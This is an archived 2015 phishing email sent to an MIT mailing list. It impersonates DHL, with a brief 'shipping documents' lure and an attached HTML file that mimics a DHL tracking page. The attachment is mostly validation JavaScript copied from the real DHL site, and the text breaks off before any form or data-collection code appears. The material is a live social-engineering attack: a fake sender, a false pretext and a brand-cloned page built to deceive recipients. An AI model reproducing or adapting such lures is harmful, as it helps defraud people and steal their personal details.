[200632] in Zephyr_Bugs
Re Shipping Document!!!
daemon@ATHENA.MIT.EDU (DHL EXPRESS SERVICE)
Thu Jul 16 10:45:17 2015
Message-Id: <201507161443.t6GEg8CQ027401@www308b.sakura.ne.jp>
Content-Type: multipart/mixed; boundary="===============0518905391=="
MIME-Version: 1.0
To: Recipients <webmaster@chieebucks.com>
From: "DHL EXPRESS SERVICE" <webmaster@chieebucks.com>
Date: Thu, 16 Jul 2015 07:43:10 -0700
You will not see this in a MIME-aware mail reader.
--===============0518905391==
Content-Type: multipart/alternative; boundary="===============1742313469=="
MIME-Version: 1.0
--===============1742313469==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
Dear Sir/Ma Attach is your Shipping documents/Invoice and copy of DHL recei=
pt for your tracking. Please confirm accordingly if your address is correct=
, before we submit to our outlet office for dispatch to your destination. R=
egards,2015 =A9 DHL International GmbH. All rights reserved.
--===============1742313469==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
<html><head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=
=3Diso-8859-1"/></head>Dear Sir/Ma
Attach is your Shipping documents/Invoice and copy of DHL receipt for your =
tracking. Please confirm accordingly if your address is correct, before we =
submit to our outlet office for dispatch to your destination.
Regards,2015 =A9 DHL International GmbH. All rights reserved.</html>
--===============1742313469==--
--===============0518905391==
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="dhl-file.htm"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang=3D"en">
<HEAD>
<META http-equiv=3D"Content-Type" content=3D"text/html; charset=3DISO-8859-=
1">
<META name=3D"GENERATOR" content=3D"IBM WebSphere Studio">
<META http-equiv=3D"Content-Style-Type" content=3D"text/css">
<TITLE> DHL| Trackinng</TITLE>
<link rel=3D"shortcut icon" href=3D"http://www.dhl.com/img/favicon.gif" typ=
e=3D"image/gif">
<meta http-equiv=3D"pragma" content=3D"no-cache">
<meta http-equiv=3D"cache-control" content=3D"no-cache">
<input type=3D"hidden" value=3D"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0=
) Gecko/20100101 Firefox/32.0" />
<link href=3D"https://myaccount.dhl.com/MyAccount/common/StyleSheet_moz.cs=
s?v=3D1" rel=3D"stylesheet" type=3D"text/css">
<link rel=3D"stylesheet" href=3D"https://myaccount.dhl.com/MyAccount/commo=
n/general_moz.css?v=3D1" type=3D"text/css">
<script language=3D"javascript" src=3D"https://myaccount.dhl.com/MyAccount/=
js/jquery.min.js?v=3D1"></script>
=
<link rel=3D"stylesheet" href=3D"https://myaccount.dhl.com/MyAccount/js/jq=
uery-ui.css?v=3D1" type=3D"text/css" media=3D"screen" />
<script type=3D"text/javascript" src=3D"https://myaccount.dhl.com/MyAccoun=
t/js/jquery-ui.js?v=3D1"></script>
<script type=3D"text/javascript" src=3D"https://myaccount.dhl.com/MyAccount=
/js/tablesorter/jquery.tablesorter.min.js"></script>
<script type=3D"text/javascript" src=3D"https://myaccount.dhl.com/MyAccount=
/js/tablefilter/picnet.table.filter.min.js"></script>
<!-- Stuff needed for beautyTips(tooltips) -->
<!--[if IE]><script src=3D"https://myaccount.dhl.com/MyAccount/js/excanvas.=
js" type=3D"text/javascript" charset=3D"utf-8"></script><![endif]-->
<script type=3D"text/javascript" src=3D"https://myaccount.dhl.com/MyAccoun=
t/js/jquery.bt.min.js?v=3D1"></script> =
<!-- /Stuff needed for beautyTips(tooltips) -->
<script type=3D"text/javascript" src=3D"https://myaccount.dhl.com/MyAccount=
/js/jhtmlarea/scripts/jHtmlArea-0.7.5.min.js"></script>
<link rel=3D"Stylesheet" type=3D"text/css" href=3D"https://myaccount.dhl.co=
m/MyAccount/js/jhtmlarea/style/jHtmlArea.css" />
<link rel=3D"Stylesheet" type=3D"text/css" href=3D"https://myaccount.dhl.co=
m/MyAccount/js/jhtmlarea/style/jHtmlArea.Editor.css" />
<head>
<script type=3D"text/javascript"> var childWindow=3D null;
function fngetdate()
{
nowdate =3D new Date();
day =3D nowdate.getDay();
datenum =3D nowdate.getDate();
if( datenum < 10 )
datenum =3D "0" + datenum;
month =3D nowdate.getMonth() + 1;
if( month < 10 )
month =3D "0" + month;
year =3D nowdate.getYear();
if( year < 2000 )
year +=3D 1900;
hour =3D nowdate.getHours();
if( hour < 10 )
hour =3D "0" + hour;
minute =3D nowdate.getMinutes();
if( minute < 10 )
minute =3D "0" + minute;
seconds =3D nowdate.getSeconds();
if ( seconds < 10 )
seconds =3D "0" + seconds;
var date;
if( day =3D=3D 0 )
date =3D "Sun";
else if( day =3D=3D 1 )
date =3D "Mon";
else if( day =3D=3D 2 )
date =3D "Tue";
else if( day =3D=3D 3 )
date =3D "Wed";
else if( day =3D=3D 4 )
date =3D "Thu";
else if( day =3D=3D 5 )
date =3D "Fri";
else
date =3D "Sat";
date +=3D ", " + datenum
+ "/" + month
+ "/" + year
+ " " + hour
+ ":" + minute
+ ":" + seconds;
=
return date;
}
// Function to logout
function fnLogout()
{
//parent.window.location=3D "../logoutAction.do";
}
// Function to submit the form if enter key is pressed
function fnSubmitOnEnter ( field, evt )
{
var keyCode =3D document.layers ? evt.which : document.all ?
evt.keyCode : evt.keyCode;
if (keyCode !=3D 13)
return true;
else
{
fnSubmit();
return false;
}
}
// Function to Trim all the left hand side zeroes
function trimZeroes ( val)
{
if ( fnTrim( val ).length =3D=3D 0 || val =3D=3D "" )
{
return val;
}
var x=3D0,y=3D0,w=3D0,ctr=3D0;
var z =3D val.length;
for ( y=3D0; y < z; y++)
{
x =3D val.substring(y,y+1)
w =3D val.substring(y+1,y+2)
//if ( x =3D=3D 0 && w !=3D "." )
// print;
// ctr++;
//else
// break;
}
return val.substring(ctr);
}
// Function to print the screen
function fnPrint()
{
parent.mainFrame.focus();
parent.mainFrame.print();}
function fnMainFramePrint( )
{
parent.mainFrame.focus();
parent.mainFrame.print();
}
// Function to go back to the previous screen
function fnCancelButton()
{
window.history.go(-1);
}
function fnCancel(pageName)
{
if(pageName =3D=3D 'AccountDetails')
{
window.history.go(-1);
}
else =
{
location.href=3D"AccountDetails.html"; =
}
}
// Function to trim the value
function fnTrim( fieldValue )
{
var cnt;
var len;
fVal =3D fieldValue.toString( );
// Obtain the length and the string
len =3D fVal.length;
str =3D fVal;
//Obtain the index at which the string begins
begin =3D -1;
for(cnt=3D0;cnt < len;cnt++)
{
if ( str.charAt( cnt ) =3D=3D " " )
begin =3D cnt;
else
break;
}
// Extract the entire length of the string from the last trailing space
str =3D str.substring( begin + 1, len );
len =3D str.length;
end =3D len;
// Locate the first leading space
for( cnt =3D len - 1; cnt >=3D 0; cnt-- )
{
if ( str.charAt( cnt ) =3D=3D " " )
end =3D cnt;
else
break;
}
// Extract the actual string
str =3D str.substring( 0, end );
return str;
}
function fnTrimWhiteSpaces (sInput, iSide)
{
var sTemp =3D "";
var cChar =3D "";
var iCount =3D "";
var SINGLE_BLANK =3D " ";
var SINGLE_TAB =3D "\t";
var NEW_LINE =3D "\n";
var CARRIAGE_RETURN =3D "\r";
var iInputWidth =3D 0;
iInputWidth =3D sInput.length;
switch (iSide)
{
case 0:
//left trim
for (iCount =3D 0; iCount < iInputWidth; iCount++)
{
cChar =3D sInput.charAt (iCount);
if ( (SINGLE_BLANK !=3D cChar) && (SINGLE_TAB !=3D cChar) && =
(NEW_LINE !=3D cChar) && (CARRIAGE_RETURN !=3D cChar) )
{
sTemp =3D sInput.substring (iCount, iInputWidth);
break;
}
}
break;
case 1:
//right trim
for (iCount =3D iInputWidth - 1; iCount >=3D 0 ; iCount--)
{
cChar =3D sInput.charAt (iCount);
if ( (cChar !=3D SINGLE_BLANK) && (cChar !=3D SINGLE_TAB) && =
(cChar !=3D NEW_LINE) && (cChar !=3D CARRIAGE_RETURN) )
{
sTemp =3D sInput.substring (0, iCount+1);
break;
}
}
break;
case 2:
//both trim
for (iCount =3D 0; iCount < iInputWidth; iCount++)
{
cChar =3D sInput.charAt (iCount);
if ( (SINGLE_BLANK !=3D cChar) && (SINGLE_TAB !=3D cChar) && =
(NEW_LINE !=3D cChar) && (CARRIAGE_RETURN !=3D cChar) )
{
sTemp =3D sInput.substring (iCount, iInputWidth);
break;
}
}
iInputWidth =3D sTemp.length;
for (iCount =3D iInputWidth - 1; iCount >=3D 0 ; iCount--)
{
cChar =3D sTemp.charAt (iCount);
if ( (cChar !=3D SINGLE_BLANK) && (cChar !=3D SINGLE_TAB) && =
(cChar !=3D NEW_LINE) && (cChar !=3D CARRIAGE_RETURN) )
{
sTemp =3D sTemp.substring (0, iCount+1);
break;
}
}
break;
}
return sTemp;
} // end of fncmTrim
//Function to clear the text box contaning name or desc if code is removed
function fnLookup( formObject1 )
{
formObject1.value=3D"";
}
// Function to open the window
function fnOpenPopupWindow( url, name )
{
if ( childWindow !=3D null )
{
if ( ! childWindow.closed )
{
childWindow.close( );
}
}
childWindow =3D window.open( url, name, 'scrollbars=3Dyes,left=3D150,to=
p=3D200,height=3D600,width=3D750,status=3Dno,location=3Dno,resizable=3Dyes'=
);
childWindow.focus( )
}
// Function to open the window
function fnOpenPopupNewWindow( url, name, popupparam )
{
if ( childWindow !=3D null )
{
if ( ! childWindow.closed )
{
childWindow.close( );
}
}
childWindow =3D window.open( url, name, popupparam );
childWindow.focus( )
}
function fnOpenPopupHelpWindow( url, name )
{
if ( childWindow !=3D null )
{
if ( ! childWindow.closed )
{
childWindow.close( );
}
}
childWindow =3D window.open( url, name, 'scrollbars=3Dyes,left=3D150,to=
p=3D200,height=3D300,width=3D630,status=3Dno,location=3Dno,resizable=3Dyes'=
);
childWindow.focus( );
}
// Function to check if it is alphenumeric or not
function fnIsValidAlphaNumeric( sFormField )
{
regNum =3D /^[ ]*[A-Za-z0-9]*[ ]*$/;
var temp =3D fnTrim( sFormField.value );
if ( ( temp ).match( regNum ) )
{
return true;
}
else
{
return false;
}
}
// Function to check if it is alphenumeric or not
function fnIsValidAlphaNumericWithAsteriks( sFormField )
{
regNum =3D /^[ ]*[A-Za-z0-9*]*[ ]*$/;
var temp =3D fnTrim ( sFormField.value );
if ( ( temp ).match( regNum ) )
{
return true;
}
else
{
return false;
}
}
// Check for correct
function fnIsCorrectLength( sFormField, length )
{
var temp =3D fnTrim( sFormField.value );
if ( ( temp.length ) !=3D 0 )
{
if ( ( temp.length ) !=3D length )
{
return false;
}
}
return true;
}
// Function to check if it is name
function fnIsValidNameWithAsterix( sFormField )
{
regNum =3D /^[ ]*[A-Za-z0-9 .*\']*[ ]*$/;
var temp =3D fnTrim( sFormField.value );
if ( ( temp ).match( regNum ) )
{
return true;
}
else
{
return false;
}
}
function fnTimeCheck( val, field )
{
if ( val.length < 5 )
{
//alert ( "Please enter " + field + " in HH:MM format" );
alert("Please enter '+field+' in HH:MM format");
return false;
}
var time =3D val.substring( 0, 2 ) ;
var minute =3D val.substring( 3 ) ;
var separator =3D val.substring( 2, 3 );
if ( ( isNaN( time ) ) || ( isNaN ( minute ) ) || ( separator !=3D "=
:") )
{
//alert ( "Please enter " + field + " in HH:MM format" );
alert("Please enter '+field+' in HH:MM format");
return false;
}
if ( ! ( ( parseInt( time ) >=3D 0 ) && ( parseInt( time ) < 24 ) ) )
{
//alert ( "Hour part should be less than 24 in " + field );
alert("Hour part should be less than 24 in '+field+'");
return false;
}
if ( ! ( ( parseInt( minute ) >=3D 0 ) && ( parseInt( minute ) < 60 ) )=
)
{
//alert ( "Minutes part should be less than 60 in " + field );
alert("Minutes part should be less than 60 in '+field+'");
return false;
}
return true;
}
// Checks if the first number is greater than second
// @return true if first is greater than or equal to second
// false else returns false
function isGreater( val1, val2)
{
if(val1 >=3D val2)
{
return true;
}
else
{
return false;
}
}
// Checks if the first number is greater than or equal to second
// @return true if first is greater than equal to second
// false else returns false
function isGreaterOrEqual( val1, val2, name1, name2 )
{
if( isGreaterOrEqualToZero ( val1, name1 ) &&
isGreaterOrEqualToZero ( val2, name2 ) )
{
if( ( val1.value =3D=3D 0 && val2.value =3D=3D 0 ) || ( val2.value.=
length =3D=3D 0 ) =
|| ( parseFloat( val1.value ) >=3D parseFloat(val2.value ) ) )
{
return true;
}
else
{
//alert ( name1 + " must be greater than or equal to " + name2);
alert("'+name1+' must be greater than or equal to '+name2+'");
val2.focus();
val2.select();
return false;
}
}
else
return false;
}
// Checks if the value passed is greater than or eqaual to zero
function isGreaterOrEqualToZero ( field, fieldName )
{
if( field.value >=3D 0 )
{
return true;
}
else
{
//alert( fieldName + " must be greater or equal to zero" );
alert("'+fieldName+' must be greater than or equal to null");
field.focus();
field.select();
return false;
}
}
// Checks if the value passed is in the following format
// DD HH:MM where DD is between 0 and 31
// HH:MM is passed to the function fnTimeCheck()
// return true if in the DD HH:MM format
// false if not
function fnDayTimeCheck( val,field )
{
if ( val.length =3D=3D 0 )
{
return true;
}
if ( val.length < 8 )
{
//alert ( field + " should be in 00 HH:MM format. Refer Help Page f=
or More Info. " );
alert("'+field+' should be in 00 HH:MM format. Refer Help Page for =
More Info.");
return false;
}
var days =3D val.substring(0,2);
var spc =3D val.substring(2,3);
var time =3D val.substring( 3, 5 ) ;
var minute =3D val.substring( 6 ) ;
var separator =3D val.substring( 5, 6 );
if ( parseInt(days) !=3D 0 )
{
//alert( field + " should have days part as 00 always. " );
alert("'+field+' should have days part as 00 always.");
return false;
}
if ( ( isNaN( days ) || ( spc !=3D " " ) || isNaN( time ) ) || ( isN=
aN ( minute ) ) || ( separator !=3D ":") )
{
//alert ( "Please enter " + field + " in 00 HH:MM format.Refer Hel=
p Page for More Info." );
alert("'+field+' should be in 00 HH:MM format. Refer Help Page for =
More Info.");
return false;
}
if ( ! ( ( parseInt( days ) >=3D 0 ) && (parseInt ( days ) < 99 ) ) )
{
//alert ( "Number of Days should be between 00 and 99 in " + field =
);
alert("Number of Days should be between 00 and 99 in '+field+'");
return false;
}
if ( ! ( ( parseInt( time ) >=3D 0 ) && ( parseInt( time ) < 24 ) ) )
{
//alert ( "Time part should be less than 24 in " + field );
alert("Time part should be less than 24 in '+field+'");
return false;
}
if ( ! ( ( parseInt( minute ) >=3D 0 ) && ( parseInt( minute ) < 60 ) )=
)
{
//alert ( "Hour part should be less than 60 in" + field );
alert("Hour part should be less than 60 in '+field+'");
return false;
}
return true;
}
function fnSizeLimitCheck ( val_a,val_b,val_c, val_u)
{
if ( parseFloat ( val_a ) < 0 )
{
//alert ( " Size Limit 1 should be greater than or equal to 0. " );
alert("Size Limit 1 should be greater than or equal to 0.");
return 1;
}
if ( parseFloat ( val_b ) < 0 )
{
//alert ( " Size Limit 2 should be greater than or equal to 0. " );
alert("Size Limit 2 should be greater than or equal to 0.");
return 2;
}
if ( parseFloat ( val_c ) < 0 )
{
//alert ( " Size Limit 3 should be greater than or equal to 0. " );
alert("Size Limit 3 should be greater than or equal to 0.");
return 3;
}
if ( ( parseFloat( val_b ) > parseFloat ( val_a ) ) )
{
//alert ( " Size Limit 2 should be less than or equal to Size Limit=
1 " );
alert("Size Limit 2 should be less than or equal to Size Limit 1");
return 2;
}
if ( ( parseFloat ( val_c ) > parseFloat ( val_b ) ) )
{
//alert ( " Size Limit 3 should be less than or equal to Size Limit=
2 " );
alert("Size Limit 3 should be less than or equal to Size Limit 2");
return 3;
}
if ( ( val_u =3D=3D "" ) && ( ( parseFloat ( val_a ) > 0.0 ) ||=
( parseFloat ( val_b ) > 0.0 ) || ( parseFloat ( val_c ) > 0.0 ) ) )
{
//alert ( " Please select a size unit of measure. " );
alert("Please select a size unit of measure");
return 4;
}
if ( ( val_u !=3D "" ) && ( parseFloat ( val_a ) <=3D 0.0 || va=
l_a =3D=3D "" ) && ( parseFloat ( val_b ) <=3D 0.0 || val_b =3D=3D "" ) =
&& ( parseFloat ( val_c ) <=3D 0.0 || val_c =3D=3D "" ) )
{
//alert ( " Size Unit of Measure can be selected only if one of the=
Size Limits is entered." );
alert("Size Unit of Measure can be selected only if one of the Size=
Limits is entered.");
return 4;
}
return 0;
}
function isBetweenCheck ( val1, val2, val3, field)
{
if ( ( val1 < val2 ) || ( val1 > val3 ) )
{
//alert ( field + " should be between " + val2 + " and " + val3 );
alert("'+field+' should be between '+val2+' and '+val3+'");
return false;
}
return true;
}
function isCharInArray ( val, arr, field )
{
var i =3D 0;
if (fnTrim(val).length =3D=3D 0 || val =3D=3D " " )
{
return true;
}
var flag =3D false;
for (i=3D0;i< arr.length;i++)
{
if ( val.toUpperCase() =3D=3D arr.substring(i,i+1) )
{
flag=3Dtrue;
return true;
}
}
var msg =3D field + "can take only the following values : \n";
if ( !flag )
{
for ( i=3D0;i<arr.length;i++ )
{
if ( i =3D=3D (arr.length-1) )
{
msg=3Dmsg + arr.substring( i, i+1 ) ;
}
else
{
msg=3Dmsg + arr.substring( i, i+1 ) + ", ";
}
}
}
alert(msg);
return false;
}
function isGreaterTime (val1,val2,field1,field2,newvar )
{
var hr1 =3D val1.substring(0,2);
var mn1 =3D val1.substring(3);
var hr2 =3D val2.substring(0,2);
var mn2 =3D val2.substring(3);
if ( hr1 > hr2 )
{
return true;
}
if ( newvar =3D "greater" )
{
if ( hr1 =3D=3D hr2)
{
if ( mn1 > mn2 )
{
return true;
}
}
}
else
{
if ( hr1 =3D=3D hr2)
{
if ( mn1 >=3D mn2 )
{
return true;
}
}
}
if ( field1 =3D=3D "Advance Booking Time" && field2 =3D=3D "End Time"=
)
{
return false;
}
else if ( field1 =3D=3D "Advance Notification Time" && field2 =3D=3D "=
End Time" )
{
return false;
}
else if ( field1 =3D=3D "End Time" && field2 =3D=3D "Pickup Cutoff Ti=
me" )
{
return false;
}
else if ( field1 =3D=3D "End Time" && field2 =3D=3D "Latest Arrival Ti=
me" )
{
return false;
}
else
{
// alert ( field1 + " must be greater than " + field2 );
alert("'+field1+' must be greater than '+field2+'");
}
return false;
}
function isGreaterOrEqualTime (val1,val2,field1,field2 )
{
var hr1 =3D val1.substring(0,2);
var mn1 =3D val1.substring(3);
var hr2 =3D val2.substring(0,2);
var mn2 =3D val2.substring(3);
if ( hr1 > hr2 )
{
return true;
}
if ( hr1 =3D=3D hr2)
{
if ( mn1 >=3D mn2 )
{
return true;
}
}
//alert ( field1 + " must be greater than or equal to " + field2 );
alert("'+field1+' must be greater than or equal to '+field2+'");
return false;
}
// Delete function
function fnConfirm( entity )
{
var flag =3D false;
flag =3D confirm( " Are you sure you want to delete " + entity + " reco=
rd ?" );
return flag;
}
// Delete function
function fnConfirmMultiple( entity )
{
var flag =3D false;
flag =3D confirm( " Are you sure you want to delete " + entity + " reco=
rds ?" );
return flag;
}
// To Clear the spaces
function fnClearSpace( form )
{
len =3D form.length;
for ( i =3D 0 ; i < len ; i++ )
{
var valueToBeTrimmed =3D form.elements[i].value ;
if ( valueToBeTrimmed !=3D null )
{
form.elements[i].value =3D fnTrim( valueToBeTrimmed );
}
}
}
//To check if weight uom is req
function fnWeightUOMCheck ( val_a,val_b,val_c, val_d, val_u)
{
if ( ( val_u.value =3D=3D "" ) && ( ( parseFloat ( val_a.value ) =
> 0.0 ) || ( parseFloat ( val_b.value ) > 0.0 ) || ( parseFloat ( val=
_c.value ) > 0.0 )|| ( parseFloat ( val_d.value ) > 0.0 ) ) )
{
//alert ( " Please select a Weight Unit Of Measure. " );
alert("Please select a Weight Unit Of Measure");
val_u.focus();
return false;
}
if ( ( val_u.value !=3D "" ) && ( parseFloat ( val_a.value ) <=3D =
0.0 || val_a.value =3D=3D "" ) && ( parseFloat ( val_b.value ) <=3D 0.0=
|| val_b.value =3D=3D "" ) && ( parseFloat ( val_c.value ) <=3D 0.0 ||=
val_c.value =3D=3D "" ) && ( parseFloat ( val_d.value ) <=3D 0.0 || val=
_d.value =3D=3D "" ) )
{
//alert ( " Weight Unit Of Measure can be selected only if atleast =
one of the weight values are entered." );
alert("Weight Unit Of Measure can be selected only if atleast one o=
f the weight values are entered");
val_u.focus();
return false;
}
return true;
}
function getItem(id)
{
var itm =3D false;
if(document.getElementById)
itm =3D document.getElementById(id);
else if(document.all)
itm =3D document.all[id];
else if(document.layers)
itm =3D document.layers[id];
return itm;
}
function toggleItem(id)
{
itm =3D getItem(id);
if(!itm)
return false;
if(itm.style.display =3D=3D 'none')
{
itm.style.display =3D '';
}
else
{
itm.style.display =3D 'none';
}
return false;
}
//To check if dimension uom is req
function fnDimensionUOMCheck ( val_a,val_b,val_c, val_d, val_e, val_f, val_=
u )
{
if ( ( val_u.value =3D=3D "" ) && ( ( parseFloat ( val_a.value ) =
> 0.0 ) || ( parseFloat ( val_b.value ) > 0.0 ) || ( parseFloat ( val=
_c.value ) > 0.0 )|| ( parseFloat ( val_d.value ) > 0.0 )|| ( parseFl=
oat ( val_e.value ) > 0.0 )|| ( parseFloat ( val_f.value ) > 0.0 ) ) )
{
//alert ( " Please select a Dimension Unit Of Measure. " );
alert("Please select a Dimension Unit Of Measure");
val_u.focus();
return false;
}
if ( ( val_u.value !=3D "" ) && ( parseFloat ( val_a.value ) <=3D =
0.0 || val_a.value =3D=3D "" ) && ( parseFloat ( val_b.value ) <=3D 0.0=
|| val_b.value =3D=3D "" ) && ( parseFloat ( val_c.value ) <=3D 0.0 ||=
val_c.value =3D=3D "" ) && ( parseFloat ( val_d.value ) <=3D 0.0 || val=
_d.value =3D=3D "" ) && ( parseFloat ( val_e.value ) <=3D 0.0 || val_e.v=
alue =3D=3D "" ) && ( parseFloat ( val_f.value ) <=3D 0.0 || val_f.value=
=3D=3D "" ) )
{
//alert ( " Dimension Unit Of Measure can be selected only if atlea=
st one of the dimension values are entered." );
alert("Dimension Unit Of Measure can be selected only if atleast on=
e of the dimension values are entered");
val_u.focus();
return false;
}
return true;
}
function Change(textid,imageid,tableToHide)
{
toggleItem(tableToHide);
if (document.getElementById(textid).innerText =3D=3D "Show")
{
document.getElementById(textid).innerText=3D"Hide";
document[imageid].src=3D"../images/up.gif";
}
else if(document.getElementById(textid).innerText =3D=3D "Hide")
{ =
document.getElementById(textid).innerText=3D"Show";
document[imageid].src=3D"../images/down.gif";
} =
=
}
function fnDelete(recordName,newPageName)
{
var response =3D confirm('Are you sure you want to delete the ' + recordNa=
me + ' record');
if ( response && newPageName!=3D'AccountQuery.html')
{
// document.forms[0].action=3DnewPageName;
// document.forms[0].submit();
deleteMessage( recordName + ' record successfully deleted','null');
}
else if ( response && newPageName =3D=3D'AccountQuery.html')
{
deleteMessage( recordName + ' record successfully deleted','AccountQuery.=
html');
}
else
{
// do nothing
}
}
// Validates the date DD-MM-YYYY or DD/MM/YYYY
// Parameters : date - string
// Returns : true - If valid date
// Returns : false - If invalid date
function fnDateValidateStrDDMMYYYY(strDate,fieldName)
{
flag =3D true;
if (strDate =3D=3D "")
{
flag =3D false;
}
if (flag =3D=3D true)
{
dateReg=3D/^([0-9\/\-]+)$/
if ( dateReg.test(strDate) =3D=3D false )
{
//alert( fieldName + 'should be a valid date in the format DD/MM/YYYY' );
alert("'+fieldName+' should be a valid date in the format DD/MM/YYYY");
return false;
}
strDateList =3D strDate.split("/");
/* if(strDateList.length !=3D3) // This is added to check whether date con=
sists of hyphen eg.2003-08-09
{
strDateList =3D strDate.split("-");
}*/
if (strDateList.length =3D=3D 3)
{
if (isNaN(strDateList[0]) || isNaN(strDateList[1]) || isNaN(strDateList[=
2]))
{
flag =3D false;
}
if (flag =3D=3D true)
{
if (strDateList[0].length !=3D 2)
{
flag =3D false
}
}
if (flag =3D=3D true)
{
if (strDateList[1].length !=3D 2)
{
flag =3D false
}
}
if (flag =3D=3D true)
{
if (strDateList[2].length !=3D 4)
{
flag =3D false
}
}
if (flag =3D=3D true)
{
flag =3D fnDateValidate(parseInt(strDateList[2],10), parseInt(strDateLi=
st[1],10), parseInt(strDateList[0],10));
}
}else{
flag =3D false;
}
}
if( !flag )
{
//alert( fieldName + 'should be a valid date in the format DD/MM/YYYY' );
alert("'+fieldName+' should be a valid date in the format DD/MM/YYYY");
}
return flag;
}
// Validates the given year, month and day
// Parameters : Year, Month, Date
// Returns true : if valid date
// Returns false : if invalid date
function fnDateValidate(year, month, day)
{
if (year =3D=3D "")
return false;
if (year <=3D 0)
{
return false;
}
if (month =3D=3D "")
return false;
if (day =3D=3D "")
return false;
if (isNaN(year))
return false;
if (isNaN(month))
return false;
if (isNaN(day))
return false;
if (fnMonthCheck(month))
{
return fnDayCheck(year, month, day);
}
else
{
return false;
}
}
// Check if the month is valid or not
// Parameters - Month - number
// Returns true - if valid month =
// Returns false - if invalid month
function fnMonthCheck(month)
{
if ((month < 1) || (month > 12))
{
return false;
}
return true;
}
// Checks if the day for the month and year is valid
// Parameters - Year - number
// Month - number
// Day - number
// Returns true - if valid day
// Returns false - if invalid day
function fnDayCheck(year, month, day)
{
days =3D getDaysInMonth(month, year);
if (day =3D=3D 0)
return false;
if (day > days)
return false;
=
return true;
}
// Returns the numbers of days in the month and year
// Parameters - Month - number
// Year - number
// Returns 31 in the case the month is Jan, Mar, May, Jul, Aug, Oct, Dec
// Returns 32 in the case the month is Apr, Jun, Sep, Nov
// Returns 29 if the year is leap year and month is Feb
// Returns 28 if the year is not a leap year and month is Feb
function getDaysInMonth(month,year) =
{ =
var days; =
if (month=3D=3D1 || month=3D=3D3 || month=3D=3D5 || month=3D=3D7 || month=
=3D=3D8 ||month=3D=3D10 || month=3D=3D12) =
days=3D31; =
else if (month=3D=3D4 || month=3D=3D6 || month=3D=3D9 || month=3D=3D11) =
days=3D30; =
else =
if (month=3D=3D2) =
{ =
if (fnIsLeapYear(year)) =
{
days=3D29;
} =
else =
{
days=3D28;
} =
} =
return (days);
} =
// Checks if the year is a leap year or not
// Parameters - Year - number
// Returns true - if the year is a leap year
// Returns false - if the year is not a leap year
function fnIsLeapYear(year)
{ =
if (((year % 4)=3D=3D0) && ((year % 100)!=3D0) || ((year % 400)=3D=3D0)) =
{ =
return (true); =
} =
else =
{ =
return (false); =
}
}
//temporary function for message will be replaced by common jsp function
function createMessage(message,destination)
{
document.writeln("<html>");
document.writeln("");
document.writeln("");
document.writeln("<head>");
document.writeln(" <link href=3D\"https://myaccount.dhl.com/MyAccount/co=
mmon/StyleSheet.css\" rel=3D\"stylesheet\" type=3D\"text/css\">");
document.writeln(" <script type=3D\"text/javascript\" language=3D\"Javas=
cript1.1\"><\/script>");
document.writeln(" <script language=3D\"javascript1.3\" src=3D\"../js/Im=
ages.js\"><\/script>");
document.writeln(" <script language=3D\"javascript1.3\" src=3D\"../js/Ca=
lendar.js\"><\/script>");
document.writeln(" <script language=3D\"javascript1.3\" src=3D\"../js/Co=
mmonFunctions.js\"><\/script>");
document.writeln(" <script language=3D\"Javascript\">");
document.writeln("");
document.writeln(" <\/script>");
document.writeln("<\/head>");
document.writeln("<body>");
document.writeln(" <form name=3D\"CommercialAddressUpdateForm\">");
document.writeln("");
document.writeln(" ");
document.writeln(" <table>");
document.writeln(" <tr>");
document.writeln(" <td width=3D\"28\"> <\/td>");
document.writeln(" <td><\/td>");
document.writeln(" <td width=3D\"28\"> <\/td>");
document.writeln(" <\/tr>");
document.writeln("");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"3\"><img src=3D\"..=
/images/blank.gif\" height=3D\"21\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln("");
document.writeln(" <\/table>");
document.writeln("");
document.writeln("");
document.writeln(" <table class=3D\"messageTableAllignment\" border=3D\=
"0\" align=3D\"center\" cellspacing=3D\"0\" cellpadding=3D\"0\">");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"textFormHead\" ><\/td>");
document.writeln(" <td class=3D\"textFormHead\" ><\/td>");
document.writeln("");
document.writeln("");
document.writeln(" <\/tr>");
document.writeln(" <\/table>");
document.writeln(" <table class=3D\"messageTableAllignment\" border=3D\"0\"=
align=3D\"center\" bgColor=3D\"#e4e4e4\" cellspacing=3D\"0\" cellpadding=
=3D\"0\" id=3D\"commercialAddressUpdate\">");
document.writeln(" <tr class=3D\"formElementMessageCaption\">");
document.writeln("");
document.writeln("");
document.writeln(" <td width=3D\"5\"><\/td>");
document.writeln(" <td class=3D\"formElementMessageCaption\"><\/td>");
document.writeln(" <td class=3D\"formElementMessageCaption\" align=3D\"=
center\">"+message+" <\/td>");
document.writeln("");
document.writeln("");
document.writeln(" <td class=3D\"whiteBg\"><img src=3D\"../images/blank.=
gif\" height=3D\"1\" width=3D\"1\"><\/td>");
document.writeln("");
document.writeln("");
document.writeln(" <\/tr>");
document.writeln("");
document.writeln("");
document.writeln(" <tr class=3D\"formElementCaption\">");
document.writeln(" <td colspan=3D\"9\" >");
document.writeln(" <table border=3D\"0\" cellspacing=3D\"0\" cellpad=
ding=3D\"0\" align=3Dcenter>");
document.writeln(" <tr >");
document.writeln(" <td colspan=3D\"4\" align=3D\"center\" class=3D\"b=
uttonBigTD\" >");
document.writeln(" <a href=3D\"" + destination + "\" class=3D\"button=
Big\" title=3D\"\" onmouseover=3D\"return false\" onmouseout=3D\"return fal=
se\">");
document.writeln(" <img src=3D\"../images/arrow_r_r_small.gif\" borde=
r=3D\"0\"> OK<\/a><\/td>");
document.writeln(" <td> <\/td>");
document.writeln(" <\/tr>");
document.writeln(" <\/table>");
document.writeln(" ");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"9\=
"><img src=3D\"../images/blank.gif\" height=3D\"1\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"9\=
